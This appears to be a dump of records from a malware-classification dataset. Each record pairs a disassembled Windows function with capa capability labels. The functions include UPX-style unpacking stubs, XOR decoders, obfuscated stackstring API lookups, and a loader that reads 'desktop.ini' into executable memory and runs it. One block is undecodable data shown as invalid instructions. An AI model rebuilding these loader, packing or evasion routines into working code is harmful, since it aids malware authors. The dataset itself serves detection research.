joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6c5638
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x6c5670
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.006c36dd
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.006c36b5
jmp 0x6c567c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x6c6e38
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x6c6e7a
call fcn.006cd49b
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x6c6e7a
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x6c6e71
xor eax, eax
jmp 0x6c6e82
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.006c6e88
pop edi
pop esi
pop ebx
ret 4

Function at 0x6c88c7
Capabilities:
Check http status code

Disassembly:
mov eax, 0x6d609c
call fcn.006b0a7c
push ecx
push ecx
push esi
push 0x14
call fcn.006c2fc3
mov esi, eax
pop ecx
mov dword [ebp - 0x14], esi
and dword [ebp - 4], 0
test esi, esi
je 0x6c891a
mov ecx, esi
call fcn.006c37a9
mov eax, dword [0x8a1100]
lea ecx, [esi + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
push dword [ebp + 0x10]
mov dword [esi + 8], eax
mov eax, dword [ebp + 0xc]
mov byte [ebp - 4], 2
mov dword [esi], vtable.CFileException.0
mov dword [esi + 0xc], eax
call fcn.006c33bf
jmp 0x6c891c
xor esi, esi
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
push 0x7ca990
push eax
mov dword [ebp - 0x10], esi
call fcn.006aff82
pop esi

Function at 0x6cd9cb
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x6cd9f9
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x6cda17
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.006cd931
jmp 0x6cda17
mov eax, dword [esi + 0x14]
test eax, eax
je 0x6cda17
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.006cd931
test edi, edi
mov eax, edi
jne 0x6cda01
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x45cca0
Capabilities:
Packed with generic packer

Disassembly:
pushal
push edi
or ebp, 0xffffffff
jmp 0x45ccb2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45ccb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45cca8
mov eax, 1
add ebx, ebx
jne 0x45cccb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45ccc0
jne 0x45ccdc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45ccc0
xor ecx, ecx
sub eax, 3
jb 0x45ccf0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45cd62
mov ebp, eax
add ebx, ebx
jne 0x45ccfb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x45cd08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x45cd2c
inc ecx
add ebx, ebx
jne 0x45cd18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45cd0d
jne 0x45cd29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45cd0d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45cd4c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45cd3d
jmp 0x45ccae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45cd4c
add edi, ecx
jmp 0x45ccae
pop esi
mov edi, esi
mov ecx, 0x27
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x45cd6a
cmp byte [edi], 0
jne 0x45cd6a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x45cd6f
lea edi, [esi + 0x5a000]
mov eax, dword [edi]
or eax, eax
je 0x45cdde
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5c5f4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5c64c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45cd9c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5c654]
or eax, eax
je 0x45cdd8
mov dword [ebx], eax
add ebx, 4
jmp 0x45cdb9
call dword [esi + 0x5c650]
mov ebp, dword [esi + 0x5c658]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45ce12
sub esp, 0xffffff80
jmp section.XWxV
Function at 0x3001f3a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test eax, 3
je 0x3001f3dc
cmp byte [eax], 0
je 0x3001f420
lea eax, [eax + 1]
test eax, 3
je 0x3001f3dc
cmp byte [eax], 0
je 0x3001f420
lea eax, [eax + 1]
test eax, 3
je 0x3001f3dc
cmp byte [eax], 0
je 0x3001f420
lea eax, [eax + 1]
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x1010101
xor edx, ecx
and edx, 0x80808080
je 0x3001f3dc
test cl, cl
lea eax, [eax - 4]
je 0x3001f420
test ecx, 0xff00
lea eax, [eax + 1]
je 0x3001f420
test ecx, 0xff0000
lea eax, [eax + 1]
je 0x3001f420
test ecx, 0xff000000
lea eax, [eax + 1]
je 0x3001f420
lea eax, [eax + 1]
jmp 0x3001f3dc
sub eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x3001f42f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
test eax, 3
je 0x3001f456
cmp word [eax], 0
je 0x3001f44f
lea eax, [eax + 2]
test eax, 3
je 0x3001f456
jmp 0x3001f43d
sub eax, dword [ebp + 8]
shr eax, 1
jmp 0x3001f491
mov edx, dword [eax]
lea eax, [eax + 4]
mov ecx, edx
sub edx, 0x10001
xor edx, ecx
and edx, 0x80008000
je 0x3001f456
sub eax, dword [ebp + 8]
shr eax, 1
test cx, cx
lea eax, [eax - 2]
je 0x3001f491
test ecx, 0xffff0000
lea eax, [eax + 1]
je 0x3001f491
lea eax, [eax*2 + 2]
add eax, dword [ebp + 8]
jmp 0x3001f456
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 4

Function at 0x3002138d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
mov esi, ecx
cmp si, 0xffff
push edi
mov dword [ebp - 4], edx
je 0x30021402
test si, 0x3ff
je 0x30021402
push dword [ebp + 8]
call fcn.30021317
test eax, eax
jne 0x3002140b
movzx edi, si
mov esi, dword [sym.imp.KERNEL32.DLL_GetLocaleInfoA]
push eax
push eax
push 0x58
push edi
call esi
test eax, eax
je 0x3002140b
lea eax, [ebp - 0x24]
push 0x20
push eax
push 0x58
push edi
call esi
and dword [ebp - 0x10], 0
lea edx, [ebp - 0x44]
push 3
lea ecx, [ebp - 0x14]
call fcn.3002128d
test eax, eax
je 0x300213fa
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x44]
mov byte [ecx], al
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x40]
mov dword [ecx], eax
jmp 0x3002140b
mov eax, dword [ebp - 4]
mov byte [eax], 1
jmp 0x30021405
mov byte [edx], 1
mov eax, dword [ebp + 8]
and dword [eax], 0
pop edi
pop esi
leave
ret 4

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..00cfg
nop
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x1d62159d
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x98506a8
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x84af70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x381000]
push edi
or ebp, 0xffffffff
jmp 0x84af92
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x84af99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x84af88
mov eax, 1
add ebx, ebx
jne 0x84afab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x84afbc
jne 0x84afdb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x84afdb
dec eax
add ebx, ebx
jne 0x84afc8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x84afa0
add ebx, ebx
jne 0x84afd7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x84b02d
xor ecx, ecx
sub eax, 3
jb 0x84aff3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x84b062
sar eax, 1
mov ebp, eax
jmp 0x84affe
add ebx, ebx
jne 0x84affe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x84afcc
inc ecx
add ebx, ebx
jne 0x84b00c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x84afcc
add ebx, ebx
jne 0x84b019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x84b00e
jne 0x84b02a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x84b00e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x84b04c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x84b03e
jmp 0x84af8e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x84b04c
add edi, ecx
jmp 0x84af8e
pop esi
mov edi, esi
mov ecx, 0x14af3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x84b06a
cmp byte [edi], 0x35
jne 0x84b06a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x84b06f
lea edi, [esi + 0x42c000]
mov eax, dword [edi]
or eax, eax
je 0x84b0de
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x545578]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x54567c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x84b09c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x545680]
or eax, eax
je 0x84b0d8
mov dword [ebx], eax
add ebx, 4
jmp 0x84b0b9
call dword [esi + 0x545688]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x84b10f
cmp al, 0xef
ja 0x84b102
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x84b0e4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x84b0f1
mov ebp, dword [esi + 0x545684]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x84b143
sub esp, 0xffffff80
jmp 0x6df49c
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x427004]
jne 0x401010
repz ret
jmp fcn.0040176d

Function at 0x40655b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004032f4
and dword [ebp - 4], 0
cmp dword [0x4290dc], 0
mov ebx, eax
jne 0x40660c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4066bd
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4066bd
push eax
call fcn.00403282
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4290dc], eax
call esi
push eax
call fcn.00403282
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x4290e0], eax
call esi
push eax
call fcn.00403282
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4290e4], eax
call esi
push eax
call fcn.00403282
pop ecx
mov dword [0x4290ec], eax
test eax, eax
je 0x40660c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403282
pop ecx
mov dword [0x4290e8], eax
mov eax, dword [0x4290e8]
cmp eax, ebx
je 0x406664
cmp dword [0x4290ec], ebx
je 0x406664
push eax
call fcn.004032fd
push dword [0x4290ec]
mov esi, eax
call fcn.004032fd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x406664
test edi, edi
je 0x406664
call esi
test eax, eax
je 0x40665b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40665b
test byte [ebp - 0xc], 1
jne 0x406664
or dword [ebp + 0x10], 0x200000
jmp 0x40669d
mov eax, dword [0x4290e0]
cmp eax, ebx
je 0x40669d
push eax
call fcn.004032fd
pop ecx
test eax, eax
je 0x40669d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40669d
mov eax, dword [0x4290e4]
cmp eax, ebx
je 0x40669d
push eax
call fcn.004032fd
pop ecx
test eax, eax
je 0x40669d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4290dc]
call fcn.004032fd
pop ecx
test eax, eax
je 0x4066bd
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4066bf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x420c5e
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push dword [0x437044]
push dword [0x436d60]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
leave
ret

Function at 0x420ced
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp ebx, 0x19f
jne 0x420d01
push 0
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push edi
xor edi, edi
test ebx, ebx
jle 0x420d25
push esi
and dword [ebp - 4], 0
lea esi, [ebp - 4]
call fcn.00420ce2
mov eax, dword [ebp + 8]
mov cl, byte [ebp - 4]
add eax, edi
xor byte [eax], cl
inc edi
cmp edi, ebx
jl 0x420d09
pop esi
pop edi
cmp ebx, 0x2d
jne 0x420d3c
or dword [0x437054], 0xffffffff
mov dword [0x437050], 0xa62e7790
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
or eax, 0x5d616adc
test esi, ebx
out 0x58, al
push esp
out 0x77, eax
lcall 0xf5bd, 0xaecd8f17
bound esp, qword [esi - 0x3b02056]
xchg ebx, eax
jno 0x414b34
loope 0x414b33
outsd dx, dword [esi]
in eax, 0x58
out dx, eax
mov eax, dword [edi + 0x1a]
push ebp
aaa
xchg edi, eax
cmp byte [edi + ecx*4], dl
dec edi
or byte [edx + 0xeb05870], ch
jo 0x414b4c
cmpsd dword [esi], dword es:[edi]
in eax, dx
lahf
invalid
pop eax
pop eax
push ebp
invalid
cmpsd dword [esi], dword es:[edi]
push ecx
scasb al, byte es:[edi]
ror bh, 0x58
and eax, 0x1216a7ce
aaa
jg 0x414b1b
outsd dx, dword [esi]
or dword [edi + edx*4], ebx
add al, 0xef
loop 0x414bba
stosb byte es:[edi], al
leave
push ds
pop eax
inc ebp
iretd
push cs
dec eax
pop ecx
push ebp
invalid
Function at 0x4020e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x405408
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x405400]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x402135
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40212e
test esi, esi
je 0x40212e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x402110
mov dword [esp], 0x405408
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402350
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x402388
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp edx, ebx
ja 0x40237e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40238a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402370
xor eax, eax
pop ebx
pop esi
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows
Terminate process

Disassembly:
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov word [0x10003036], ax
xor edi, edi
movzx ecx, word [eax + 0x10002034]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001161
push 1
push edi
push edi
mov ebx, 0x10003030
push ebx
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x10003036], ax
movzx ecx, word [eax + str.desktop.ini]
mov word [eax + 0x10003030], cx
add eax, 2
cmp cx, di
jne 0x10001191
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push ebx
mov dword [0x10003018], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
push edi
cmp eax, 0xffffffff
jne 0x100011e4
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x10003024
push esi
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x10001370
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100cf614]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], 0
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x1c], 0x6d
mov edx, 1
imul eax, edx, 0xb
mov byte [ebp + eax - 0x1c], 0x66
mov ecx, 1
imul edx, ecx, 0xd
mov byte [ebp + edx - 0x1c], 0x72
mov eax, 1
imul ecx, eax, 0xc
mov byte [ebp + ecx - 0x1c], 0x6f
mov edx, 1
shl edx, 0
mov byte [ebp + edx - 0x1c], 0x65
mov eax, 1
shl eax, 2
mov byte [ebp + eax - 0x1c], 0x6f
mov ecx, 1
imul edx, ecx, 0xf
mov byte [ebp + edx - 0x1c], 0x61
mov eax, 1
imul ecx, eax, 0x13
mov byte [ebp + ecx - 0x1c], 0x6e
mov edx, 1
imul eax, edx, 3
mov byte [ebp + eax - 0x1c], 0x56
mov ecx, 1
imul edx, ecx, 6
mov byte [ebp + edx - 0x1c], 0x75
mov eax, 1
imul ecx, eax, 0xa
mov byte [ebp + ecx - 0x1c], 0x6e
mov edx, 1
imul eax, edx, 0xe
mov byte [ebp + eax - 0x1c], 0x6d
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x1c], 0x47
mov eax, 1
imul ecx, eax, 5
mov byte [ebp + ecx - 0x1c], 0x6c
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x1c], 0x65
mov eax, 1
imul ecx, eax, 0x14
mov byte [ebp + ecx - 0x1c], 0x57
mov edx, 1
shl edx, 4
mov byte [ebp + edx - 0x1c], 0x74
mov eax, 1
shl eax, 1
mov byte [ebp + eax - 0x1c], 0x74
mov ecx, 1
imul edx, ecx, 0x11
mov byte [ebp + edx - 0x1c], 0x69
mov eax, 1
imul ecx, eax, 9
mov byte [ebp + ecx - 0x1c], 0x49
mov edx, 1
imul eax, edx, 0x15
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x16
jae 0x1000149d
jmp 0x100014a2
call fcn.1001d926
mov ecx, dword [ebp - 0x28]
mov byte [ebp + ecx - 0x1c], 0
mov edx, 1
imul eax, edx, 0x12
mov byte [ebp + eax - 0x1c], 0x6f
lea ecx, [ebp - 0x1c]
push ecx
call fcn.100b94f0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x100014f6
mov edx, dword [ebp + 0x24]
push edx
mov eax, dword [ebp + 0x20]
push eax
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0x18]
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10019cf8
mov esp, ebp
pop ebp
ret
Function at 0x100015c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x100cf614]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], 0x80004005
call fcn.1000c460
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x10001745
mov eax, 1
shl eax, 4
mov byte [ebp + eax - 0x1c], 0x50
mov ecx, 1
imul edx, ecx, 0xa
mov byte [ebp + edx - 0x1c], 0x46
mov eax, 1
imul ecx, eax, 0xe
mov byte [ebp + ecx - 0x1c], 0x65
mov edx, 1
imul eax, edx, 0x12
mov byte [ebp + eax - 0x1c], 0x74
mov ecx, 1
imul edx, ecx, 6
mov byte [ebp + edx - 0x1c], 0x6e
mov eax, 1
shl eax, 0
mov byte [ebp + eax - 0x1c], 0x48
mov ecx, 1
imul edx, ecx, 0x11
mov byte [ebp + edx - 0x1c], 0x61
mov eax, 1
imul ecx, eax, 0xb
mov byte [ebp + ecx - 0x1c], 0x6f
mov edx, 1
shl edx, 3
mov byte [ebp + edx - 0x1c], 0x77
mov eax, 1
imul ecx, eax, 9
mov byte [ebp + ecx - 0x1c], 0x6e
mov edx, 1
shl edx, 2
mov byte [ebp + edx - 0x1c], 0x74
mov eax, 1
imul ecx, eax, 0xd
mov byte [ebp + ecx - 0x1c], 0x64
mov edx, 1
imul eax, edx, 0x14
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x15
jae 0x10001698
jmp 0x1000169d
call fcn.1001d926
mov ecx, dword [ebp - 0x2c]
mov byte [ebp + ecx - 0x1c], 0
mov edx, 1
imul eax, edx, 3
mov byte [ebp + eax - 0x1c], 0x65
mov ecx, 1
imul edx, ecx, 5
mov byte [ebp + edx - 0x1c], 0x4b
mov eax, 1
imul ecx, eax, 7
mov byte [ebp + ecx - 0x1c], 0x6f
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 0x1c], 0x47
mov eax, 1
imul ecx, eax, 0x13
mov byte [ebp + ecx - 0x1c], 0x68
mov edx, 1
imul eax, edx, 0xc
mov byte [ebp + eax - 0x1c], 0x6c
mov ecx, 1
imul edx, ecx, 0
mov byte [ebp + edx - 0x1c], 0x53
mov eax, 1
imul ecx, eax, 0xf
mov byte [ebp + ecx - 0x1c], 0x72
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x10001739
mov ecx, dword [ebp + 0x14]
push ecx
